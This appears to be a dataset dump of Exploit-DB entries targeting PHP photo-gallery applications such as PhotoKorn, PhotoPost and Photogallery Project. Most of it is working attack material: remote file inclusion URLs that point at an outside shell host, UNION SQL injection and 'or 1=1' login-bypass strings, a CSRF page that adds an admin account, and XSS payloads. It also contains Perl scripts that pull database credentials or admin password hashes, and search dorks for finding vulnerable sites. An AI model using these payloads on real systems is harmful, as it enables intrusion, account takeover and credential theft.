deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25955
Description: PhotoGal 1.0/1.5 - News_File Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-07
Author: skdaemon porra

Exploit:
source: https://www.securityfocus.com/bid/14190/info

PhotoGal is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of this issue will allow an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Reports indicate that this issue may have been addressed in version 1.0, but this has not been confirmed. 

http://www.example.com/[path_to_photogal]/ops/gals.php?news_file=http://www.example.com
Exploit-DB #42462
Description: Photogallery Project 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-17
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Photogallery Project 1.0 - Multiple Vulnerabilities
# Dork: N/A
# Date: 17.08.2017
# Vendor Homepage : http://surajkumar.in/
# Software Link: http://surajkumar.in/product/photogallery-project-in-php/
# Demo: http://surajkumar.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands...
# The vulnerability allows an attacker to access the normal member and administration panel...
# The vulnerability allows an ordinary member upload arbitrary file...
# 
# Vulnerable Source:
# # # # #
# <?php
# ....1
# $pageContent=get_pages($_GET['page_id']);
# ..
# function get_pages($pageid){
# $res=array();
# global $connection;
# if($pageid==0){
# $fetchPages=mysqli_query($connection,"SELECT * FROM ".PAGE);
# }else{
# $fetchPages=mysqli_query($connection,"SELECT * FROM ".PAGE." WHERE id='$pageid'");
# 
# ....2
# $userData=get_user_by_id($_SESSION['userID']);
# if(isset($_POST['user_image'])){
# $userImage=$_FILES['userImg']['name'];
# $userTmpImage=$_FILES['userImg']['tmp_name'];
# if(!file_exists('profile_pics'.'/'.$userImage)){
# $img=$userImage;
# }else{
# $rand=rand(1,1000);
# $img=$rand.'_'.$userImage;
# }
# if(move_uploaded_file($userTmpImage,'profile_pics'.'/'.$img)){
# $updateImg=update_profile_img($img,$userData['userData']['id']);
# if($updateImg['bool']==true){
# 
# ....3
# if(isset($_POST['_login'])){
# $data=array();
# $data['email']=$_POST['_email'];
# $data['password']=$_POST['_pass'];
# $loginRes=user_login($data);
# if($loginRes['bool']==true){
# ....
# ?>
# # # # #
# 	
# Proof of Concept:
# 
# 1:
# http://localhost/[PATH]/page.php?page_id=[SQL]
# -1'+/*!22222UnIoN*/(/*!22222SeLeCT*/++0x283129,0x283229,0x283329,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283529)+--+-&title=<h1>%49%68%73%61%6e%20%53%65%6e%63%61%6e</h1>
# 
# 2:
# http://localhost/[PATH]/edit_profile_img.php?profile_id=[ID]
# http://localhost/[PATH]/profile_pics/[FILE].php
# 
# 3:
# http://localhost/[PATH]/login.php
# http://localhost/[PATH]/admin
# User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='
# 
# Etc...
# # # # #
Exploit-DB #43867
Description: Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://ronnieswietek.com/
# Software Link: https://codecanyon.net/item/client-photo-studio-photography-cms/1191688
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5969
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
# 1)
-->
<html>
<body>
<script src="http://code.jquery.com/jquery-1.7.1.min.js"></script>
<h2>New Admin</h2>
<div class="efe">
<form method="post" onSubmit="return false">
	<label for="username">Username:</label>
	<input id="username" type="text"><br><br>

	<label for="password1">Password:</label>
	<input id="password1" type="password"><br><br>

	<label for="password2">Confirm Password:</label>
	<input id="password2" type="password"><br><br>

	<label for="email">Email:</label>
	<input id="email" type="text"><br><br>

	<input id="ekleabi" value="Ver Ayari" type="submit">
</form>
</div>
<script type="text/javascript">
	$("#ekleabi").live('click',function()
	{
		$.ajax({
			type: "POST",
			url: "http://ronnieswietek.com/cc/clients/resources/ajax/ajax_new_admin.php",
			data:{
				username:$(".efe #username").val(),
				password1:$(".efe #password1").val(),
				password2:$(".efe #password2").val(),
				email:$(".efe #email").val()
			}
		});
	});
</script>
</body>
</html>
Exploit-DB #27732
Description: PhotoKorn 1.53/1.54 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-25
Author: Dr.Jr7

Exploit:
source: https://www.securityfocus.com/bid/17683/info
 
Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/[Path]/postcard.php?action=view&id=[Sql]
Exploit-DB #27731
Description: PhotoKorn 1.53/1.54 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-04-25
Author: Dr.Jr7

Exploit:
source: https://www.securityfocus.com/bid/17683/info

Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/[Path]/index.php?action=showgal&cat=[Sql]
http://www.example.com/[Path]/index.php?action=showpic&cat=1&pic=[Sql]
Exploit-DB #27733
Description: PhotoKorn 1.53/1.54 - 'print.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-25
Author: Dr.Jr7

Exploit:
source: https://www.securityfocus.com/bid/17683/info
  
Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/[Path]/print.php?cat=[Sql]
Exploit-DB #33457
Description: PhotoKorn 1.542 - Cross-Site Scripting / Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37559/info

Photokorn is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these issues to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. The attacker may also execute script code in an unsuspecting user's browser or steal cookie-based authentication credentials. Other attacks are also possible.

Photokorn 1.542 is vulnerable; other versions may also be affected. 

http://www.example.com/sm-p1542/install.php?lang=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/sm-p1542/index.php?lg=http://www.example.net/c.txt?
Exploit-DB #2327
Description: PhotoKorn Gallery 1.52 - 'dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: Saudi Hackrz

Exploit:
#====================================================================
#PhotoKorn Gallery => 1.52 (dir_path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#=================================================================
#
#Script Name: PhotoKorn Gallery v 1.52
#Script :)
#http://warez.gtasoft.ru/skripts/PhotoKorn.Gallery.(SL).v1.52.PHP.NULL-DGT.zip
#
#=================================================================
#Bug in : cart.inc.php  &  ext_cats.php
#
# <<<<<<<< include_once($dir_path."/footer.php");
#
#in <<<<  includes/cart.inc.php & extras/ext_cats.php & ....... :)
#=================================================================
#
#Dork : photokorn 1.52
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[path]/includes/cart.inc.php?dir_path=http://SHELLURL.COM?
#or
#http://sitename.com/[path]/extras/ext_cats.php?dir_path=http://SHELLURL.COM?
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :All My Frind & Me :)
#www.S3hr.com . www.xp10.com . www.3asfh.net . www.lezr.com .www.king18.org
#===============================================================================

# milw0rm.com [2006-09-07]
Exploit-DB #5065
Description: PhotoKorn Gallery 1.543 - 'pic' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-05
Author: you_kn0w

Exploit:
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=#
# ~Author: you_kn0w	                       #
# ~Contact: you-know[at]linuxmail.org          #
# ~Website: www.youknowz.info                  # 
# ~Script: Photokorn Gallery                   #
# ~Bug: Photokorn Gallery Remote SQL Injection #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#
#               Script Information             #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#    
#                                              # 
# Script name: Photokorn Gallery               #
# Script site: http://www.keil-software.de     #
# Script demo: www.keil-software.de/demos/pk/  #
# Description: PHP/MySQL media gallery         #
# Version: 1.543                               #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# 

# [-]Dorks:
             intext:Powered by photokorn 1.543
           intitle:Powered by photokorn
         
       

# [+]How To Exploit:
 
 http://[target].com/[path]/index.php?action=showpic&cat=8&pic=59&pic=-1/**/union/**/all/**/select/**/1,1,1,concat(user(),0x202D20,database()),null,1,null,0,0,1,0,0,1,0,0,1,null,null,0,0,1,1/*



# [+]Greetz:
 
 Greetz to; ka0x - Celciuz - JosS - Phanter-Root & Screamo

//you_kn0w
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# milw0rm.com [2008-02-05]
Exploit-DB #4897
Description: photokron 1.7 - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2008-01-11
Author: Pr0metheuS

Exploit:
#!/usr/bin/perl
#Script : PhotoKron All Version
#All Version
#Author : Pr0metheuS
#Gr33tz to Gr33tz-Team
#Gr33tz-Team.ORG
#Dork : "Powered by photokorn"
### INFO ##
# Works IF /update/ is on server...60% site are vulnerable....
## INFO ##
use LWP::UserAgent;
if (@ARGV!=2) {
	print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n";
    print "perl $0 <site> <path>\n";
	print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
}
(my $site,my $path)=@ARGV;
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "".$site."".$path."/update/update3.php");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success) {
	print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n\n";
    
if($con =~ /<input type="text" value="(.*)" name="dbname">/){
	$dbname = $1;
	print "[+] DBNAME : $dbname\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbhost">/){
	$dbhost = $1;
	print "[+] DBHOST : $dbhost\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbusername"><\/td>/){
	$dbuser = $1;
	print "[+] DBUSER : $dbuser\n";
}
if($con =~ /<input type="password" value="(.*)" name="dbpassword"><\/td>/){
	$dbpass = $1;
	print "[+] DB[CREDENTIAL_REDACTED]\n";
}
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";



}
else{
	print "[+] Exploit Failed...\n";
}

# milw0rm.com [2008-01-11]
Exploit-DB #9385
Description: PHotoLa Gallery 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-07
Author: Red-D3v1L

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                        

==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  PHotoLa Gallery <= 1.0 (Auth Bypass) SQL injection Valunrability
==============================================================================
    [Â»] my home:            [ Hackteach.org ]
    [Â»] Script:             [ PHotoLa Gallery ]
    [Â»] Language:           [ PHP ]
    [Â»] home:               [ http://www.photola.co.uk ]
    [Â»] Founder:            [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:          [ All member Hackteach.org/cc ]

###########################################################################



===[ Exploit SQL  ]===  
  
    [Â»] [PaTH]/signin.php


    [Â»] Exploit : 'or 1=1/*

 

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-07]
Exploit-DB #35351
Description: Photopad 1.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46385/info

Photopad is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Photopad 1.2.0 is vulnerable; other versions may also be affected. 

1. http://host/files.php?action=edit&id=999"><script>alert(document.cookie)</script>

2. http://host/gallery.php?action=view&id=999"><script>alert(document.cookie)</script>

3. <form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value=&#039;title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="data[tags]" value=&#039;tag&#039;>
</form>
<script>
document.main.submit();
</script>
Exploit-DB #989
Description: PhotoPost - Arbitrary Data Hash
Type: webapps
Platform: php
Date: 2005-05-13
Author: basher13

Exploit:
#!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
# INFPG - Hacking&Security Research
#
#
# Use first the exploit code,then You'll get admin MD5 hash and user name on your mail.
#
# Greats: Infam0us Gr0up team/crew/fans,Zone-H,securiteam,str0ke-milw0rm,addict3d,
# Thomas-secunia,Yudha,Dcrab's,Kavling Community,1st Indonesian Security,
# Jasakom,ECHO,etc..betst reagrds t0 whell.
# Info: www.98.to/infamous
#

use IO::Socket;

if (@ARGV < 3)
{
system "clear";
print "PhotoPost Arbitrary Data Exploit\n";
print "\n-------------------------------\n";
print "\nINFGP-Hacking&Security Research\n";
print "\n\n";
print "[?]Usage: perl $0 [host] [path] [mail] \n";
exit(1);
}

system "clear";

$server = $ARGV[0];
$folder = @ARGV[1];
$mail = @ARGV[2];

print "Connecting to host ...\n";
$socket = IO::Socket::INET->new(
       Proto => "tcp",
       PeerAddr => "$ARGV[0]",
       PeerPort => "80"); unless ($socket)
{
 die "Server is offline\n"
}

print "[+]Connected\n\n";
print "[+]Building string core..\n";

$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0",$mail
,%20concat(username,"%20",%20password)%20from%20users';

print "Sent 0day..\n\n";
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n";
print "Server Exploited\n";
print "You should check $mail now";
close($socket);

# milw0rm.com [2005-05-13]
Exploit-DB #14446
Description: PhotoPost - PHP SQL Injection
Type: webapps
Platform: php
Date: 2010-07-23
Author: Cyber-sec

Exploit:
# Exploit Title: PhotoPost PHP SQL Injection Vulnerability
# Date: 23/07/2010
# Author: Cyber-sec
# Software Link: www.photopost.com
# Version: 4.0 - 4.6
# Tested on: windows xp pack 3
# CVE : N/A 
						
--------------------------exploit------------------------------
dork : Powered by: PhotoPost PHP 4.6

exploit: www.site.com/photopost/index.php?cat=1 [sql injection]
---------------------------------------------------------------------------------------
Special Thanks to : Dz-Ghost theblind747 all my frend
Exploit-DB #2369
Description: PhotoPost 4.6 - 'PP_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-15
Author: Saudi Hackrz

Exploit:
#====================================================================
#PhotoPost => 4.6 (PP_PATH) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.popphoto.com/
#
#=================================================================
#
#Script Name: PhotoPost 4.6 & 4.5 & 4.x.....4.0
#Fix : update To 4.7 or 4.8
#Script :)
#http://www.9q9q.net/up3/index.php?f=UyTfHCHIg
#
#=================================================================
#Bug in : zipndownload.php
#        require "$PP_PATH/languages/$pplang/showgallery.php";
#        require "$PP_PATH/login-inc.php";
#
#in <<<<  zipndownload.php & .... :)
#Dork :in Yahoo ---: "Powered by: PhotoPost PHP 4.6" or "Powered by: PhotoPost PHP 4.5"
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://site.com/[path]/zipndownload.php?PP_PATH=http://SHELLURL.COM?
#
#=================================I LOVE SAUDI
ARABIA=============================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :SnIpEr_Sa , King18 , LeCoPrA And All My Frind
#www.S3hr.com , http://www.elite-team.cc/vb , www.3asfh.net  ,www.xp10.com ,www.lezr.com
==================================I LOVE SAUDI ARABIA=============================================#

# milw0rm.com [2006-09-15]
Exploit-DB #43822
Description: PhotoPost < 4.85 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-01-03
Author: GulfTech Security

Exploit:
PhotoPost Multiple Vulnerabilities

Vendor: All Enthusiast, Inc.
Product: PhotoPost
Version: <= 4.85
Website: http://www.photopost.com/

BID: 12157 
CVE: CVE-2005-0273 CVE-2005-0274 
OSVDB: 12741 12741 
SECUNIA: 13680 
PACKETSTORM: 35595 

Description:
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins. PhotoPost Pro is vulnerable to some serious SQL Injection issues as well as cross site scripting. An update is available and all users should upgrade now. 


Cross Site Scripting:
PhotoPost is prone to cross site scripting in several different scripts throughout the application. Below are examples: 

http://path/showgallery.php?cat=[INT]&page=[XSS]
http://path/showgallery.php?si=[XSS]
http://path/showgallery.php?cat=[INT][XSS]
http://path/showgallery.php?ppuser=[INT]&cat=[INT][XSS] 

This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info. 


SQL Injection Vulnerability:
There are several SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy. 

http://path/showgallery.php?cat=[INT][SQL]
http://path/showgallery.php?ppuser=[INT][SQL]&cat=[INT] 

These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful. 


Solution:
PhotoPost 4.86 has been released to address these issues. Users should upgrade their installation as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team